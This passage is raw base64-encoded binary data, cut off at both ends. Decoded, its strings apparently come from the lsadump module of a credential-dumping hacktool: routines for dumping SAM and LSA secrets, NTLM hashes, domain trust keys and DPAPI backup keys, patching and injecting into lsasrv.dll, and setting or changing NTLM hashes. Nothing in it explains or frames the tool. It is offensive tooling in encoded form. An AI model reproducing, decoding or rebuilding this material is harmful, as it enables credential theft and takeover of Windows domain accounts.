ByAGUAcABsAGEAYwBlACAAbQBvAGQAZQAgACgAMQApACEACgAAACAAIABNAHMAQwBhAGMAaABlAFYAMQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABtAGEAYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQB3AFoAXAAlAHcAWgAKAAAAAABNAHMAQwBhAGMAaABlAFYAJQBjACAAOgAgAAAAIAAgAFsAJQB1AF0AIAAlAHcAWgAAAAAACgAgACAAIAAgAEwATQA6ACAAAAAKACAAIABOAFQATABNADoAIAAAAAoAVQBuAGsAbgBvAHcAbgAgAHYAZQByAHMAaQBvAG4AOgAgACUAdQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAEMAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGUAYwByAHkAcAB0AFMAQwBDAGEAYwBoAGUAIAA7ACAAQwByAHkAcAB0AEQAZQByAGkAdgBlAEsAZQB5ACgAUgBDADQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAEMAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABTAGkAZwBuAEgAYQBzAGgAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAZQBjAHIAeQBwAHQAUwBDAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQAUwBpAGcAbgBIAGEAcwBoACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQAuACoAcwAAAAAAdABlAHgAdAA6ACAAJQB3AFoAAABoAGUAeAAgADoAIAAAAAAAJABNAEEAQwBIAEkATgBFAC4AQQBDAEMAAAAAAAoAIAAgACAAIABOAFQATABNADoAAAAAAAoAIAAgACAAIABTAEgAQQAxADoAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAAAAAAKACAAIAAgACAAZgB1AGwAbAA6ACAAAAAKACAAIAAgACAAbQAvAHUAIAA6ACAAAAAgAC8AIAAAAE0AJABfAE0AUwBWADEAXwAwAF8AVABCAEEATABfAFAAUgBJAE0AQQBSAFkAXwAAACAAIAAgAFUAcwBlAHIAIAAgACAAOgAgACUALgAqAHMACgAgACAAIAAgAEQAbwBtAGEAaQBuACAAOgAgACUALgAqAHMAAAAAAAoAIAAgACAAIAAqACAATgBUAEwATQAgADoAIAAAAAAACgAgACAAIAAgACoAIABMAE0AIAAgACAAOgAgAAAAAAAKACAAIAAgACAAKgAgAFMASABBADEAIAA6ACAAAAAAAAoAIAAgACAAIAAqACAARABQAEEAUABJADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAG4AdABkAGwAbAAuAGQAbABsAAAAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAAAAAAFNhbUlDb25uZWN0AFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAFNhbUlGcmVlX1NBTVBSX1VTRVJfSU5GT19CVUZGRVIAVmlydHVhbEFsbG9jAAAAAG1lbWNweQAATG9jYWxBbGxvYwAAcABhAHQAYwBoAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABpAG4AagBlAGMAdAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAFAAcgBpAG0AYQByAHkAAABDAEwARQBBAFIAVABFAFgAVAAAAFcARABpAGcAZQBzAHQAAABLAGUAcgBiAGUAcgBvAHMAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAABOAFQATABNAC0AUwB0AHIAbwBuAGcALQBOAFQATwBXAEYAAAAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAKACAAIAAgACAATABNACAAIAAgADoAIAAAAAAAIAAgACAAIAAlAC4AKgBzAAoAAAAgACAAIAAgACUAMAAyAHUAIAAgAAAAAAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABTAGEAbAB0ACAAOgAgACUALgAqAHMACgAAAAAAQwByAGUAZABlAG4AdABpAGEAbABzAAAATwBsAGQAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAASQB0AGUAcgBhAHQAaQBvAG4AcwAgADoAIAAlAHUACgAAAAAAUwBlAHIAdgBpAGMAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE8AbABkAGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAAUgBhAG4AZABvAG0AIABWAGEAbAB1AGUAIAA6ACAAAAAgACAAIAAgACAAIAAlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAlAHMAIAAoACUAdQApACAAOgAgAAAAAABOAE8ATgBFACAAIAAgAAAATgBUADQATwBXAEYAIAAAAEMATABFAEEAUgAgACAAAABWAEUAUgBTAEkATwBOAAAAIABbACUAcwBdACAAJQB3AFoAIAAtAD4AIAAlAHcAWgAKAAAAIAAgACAAIAAqACAAAAAAAHUAbgBrAG4AbwB3AG4APwAAAAAAIAAtACAAJQBzACAALQAgAAAAAAAtACAAJQB1ACAALQAgAAAAbABzAGEAZABiAC4AZABsAGwAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgBDAHUAcgByAGUAbgB0ACAAZABvAG0AYQBpAG4AOgAgACUAdwBaACAAKAAlAHcAWgAAAAoARABvAG0AYQBpAG4AOgAgACUAdwBaACAAKAAlAHcAWgAAACAAIABJAG4AIAAAACAATwB1AHQAIAAAACAASQBuAC0AMQAAAE8AdQB0AC0AMQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABMAHMAYQBRAHUAZQByAHkAVAByAHUAcwB0AGUAZABEAG8AbQBhAGkAbgBJAG4AZgBvAEIAeQBOAGEAbQBlACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEARQBuAHUAbQBlAHIAYQB0AGUAVAByAHUAcwB0AGUAZABEAG8AbQBhAGkAbgBzAEUAeAAgACUAMAA4AHgACgAAACAAIAAqACAAUgBTAEEAIABrAGUAeQAKAAAAAABuAHQAZABzAAAAAAAJAFAARgBYACAAYwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAAAgACAAKgAgAEwAZQBnAGEAYwB5ACAAawBlAHkACgAAAGsAZQB5AAAAbABlAGcAYQBjAHkAAAAAAAAAAAAgACAAKgAgAFUAbgBrAG4AbwB3AG4AIABrAGUAeQAgACgAcwBlAGUAbgAgAGEAcwAgACUAMAA4AHgAKQAKAAAACQBFAHgAcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAALQAgACcAJQBzACcACgAAAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQB5AEYAcgBvAG0ARwBVAEkARAAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAABzAGUAYwByAGUAdAAAAAAAIABzAGUAZQBtAHMAIAB0AG8AIABiAGUAIABhACAAdgBhAGwAaQBkACAARwBVAEkARAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYgBrAGUAeQAgADsAIABJAG4AdgBhAGwAaQBkACAARwBVAEkARAAgACgAMAB4ACUAMAA4AHgAKQAgADsAIAAlAHMACgAAAAoAQwB1AHIAcgBlAG4AdAAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAgACAAIAAgACAAIAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAFIARQBGAEUAUgBSAEUARAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYgBrAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAAAKAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcgBwAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAYQBjAGMAbwB1AG4AdAAAAGMAbwBtAHAAdQB0AGUAcgAAAAAAIAAgAEEAYwBjAG8AdQBuAHQAOgAgACUAcwAKAAAAAAAgACAATgBUAEwATQAgACAAIAA6ACAAAAAgACAATgBUAEwATQAtADEAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBUAHIAdQBzAHQAUABhAHMAcwB3AG8AcgBkAHMARwBlAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAFMAZQByAHYAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABkAG8AZQBzACAAbgBvAHQAIABtAGEAdABjAGgAIABDAGEAbgBkAGkAZABhAHQAZQBTAGUAcgB2AGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAQQB1AHQAaABlAG4AdABpAGMAYQB0AGUAMgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAASQBfAE4AZQB0AFMAZQByAHYAZQByAFIAZQBxAEMAaABhAGwAbABlAG4AZwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAG4AdABsAG0AIABoAGEAcwBoAC8AcgBjADQAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAZABjAAoAAABUAGEAcgBnAGUAdAAgAHMAZQByAHYAZQByADoAIAAlAHcAWgAKAAAAVABhAHIAZwBlAHQAIAB1AHMAZQByACAAIAA6ACAAJQB3AFoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAdABuAHQAbABtACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABpAGcAZQBzAHQAIABOAFQATABNACAAaABhAHMAaAAgAGYAcgBvAG0AIABwAGEAcwBzAHcAbwByAGQAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAbwBuAHYAZQByAHQAIAAnACUAcwAnACAAdABvACAATgBUAEwATQAgAGgAYQBzAGgAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAACoAKgAgAE4AbwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAHAAcgBvAHYAaQBkAGUAZAAsACAAdwBpAGwAbAAgAHUAcwBlACAAdABoAGUAIABkAGUAZgBhAHUAbAB0ACAAbwBuAGUAIAAqACoACgAAAAAATgBUAEwATQAgACAAIAAgACAAIAAgACAAIAA6ACAAAABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAAgADoAIAAlAHcAWgAKAAAARABvAG0AYQBpAG4AIABTAEkARAAgACAAIAA6ACAAAABVAHMAZQByACAAUgBJAEQAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAAAAAAAoAPgA+ACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABhAHIAZQAgAGkAbgAgAHQAaABlACAAdABhAHIAZwBlAHQAIABTAEEATQAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAdABuAHQAbABtACAAOwAgAFMAYQBtAFMAZQB0AEkAbgBmAG8AcgBtAGEAdABpAG8AbgBVAHMAZQByADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAdABuAHQAbABtACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQB0AG4AdABsAG0AIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAdABuAHQAbABtACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAdABuAHQAbABtACAAOwAgAEEAcgBnAHUAbQBlAG4AdAAgAC8AdQBzAGUAcgA6ACAAaQBzACAAbgBlAGUAZABlAGQACgAAAG8AbABkAHAAYQBzAHMAdwBvAHIAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBjAGgAYQBuAGcAZQBuAHQAbABtACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABpAGcAZQBzAHQAIABOAFQATABNACAAaABhAHMAaAAgAGYAcgBvAG0AIABvAGwAZAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQAwADgAeAAKAAAAbwBsAGQAbgB0AGwAbQAAAG8AbABkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AbgB2AGUAcgB0ACAAJwAlAHMAJwAgAHQAbwAgAG8AbABkACAATgBUAEwATQAgAGgAYQBzAGgAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAG8AbABkAHAAYQBzAHMAdwBvAHIAZAA6ACAAbwByACAALwBvAGwAZABuAHQAbABtADoAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAABuAGUAdwBwAGEAcwBzAHcAbwByAGQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAaQBnAGUAcwB0ACAATgBUAEwATQAgAGgAYQBzAGgAIABmAHIAbwBtACAAbgBlAHcAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAMAA4AHgACgAAAG4AZQB3AG4AdABsAG0AAABuAGUAdwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBjAGgAYQBuAGcAZQBuAHQAbABtACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBvAG4AdgBlAHIAdAAgACcAJQBzACcAIAB0AG8AIABuAGUAdwAgAE4AVABMAE0AIABoAGEAcwBoACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAACoAKgAgAE4AbwAgAG4AZQB3ACAAYwByAGUAZABlAG4AdABpAGEAbABzACAAcAByAG8AdgBpAGQAZQBkACwAIAB3AGkAbABsACAAdQBzAGUAIAB0AGgAZQAgAGQAZQBmAGEAdQBsAHQAIABvAG4AZQAgACoAKgAKAAAAAABPAEwARAAgAE4AVABMAE0AIAAgACAAIAAgADoAIAAAAAoATgBFAFcAIABOAFQATABNACAAIAAgACAAIAA6ACAAAAAAAAoAPgA+ACAAQwBoAGEAbgBnAGUAIABwAGEAcwBzAHcAbwByAGQAIABpAHMAIABhACAAcwB1AGMAYwBlAHMAcwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AIAA7ACAAQgBhAGQAIABvAGwAZAAgAE4AVABMAE0AIABoAGEAcwBoACAAbwByACAAcABhAHMAcwB3AG8AcgBkACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBjAGgAYQBuAGcAZQBuAHQAbABtACAAOwAgAEIAYQBkACAAbgBlAHcAIABOAFQATABNACAAaABhAHMAaAAgAG8AcgAgAHAAYQBzAHMAdwBvAHIAZAAhACAAKAByAGUAcwB0AHIAaQBjAHQAaQBvAG4AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABTAGEAbQBpAEMAaABhAG4AZwBlAFAAYQBzAHMAdwBvAHIAZABVAHMAZQByADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBjAGgAYQBuAGcAZQBuAHQAbABtACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBjAGgAYQBuAGcAZQBuAHQAbABtACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMA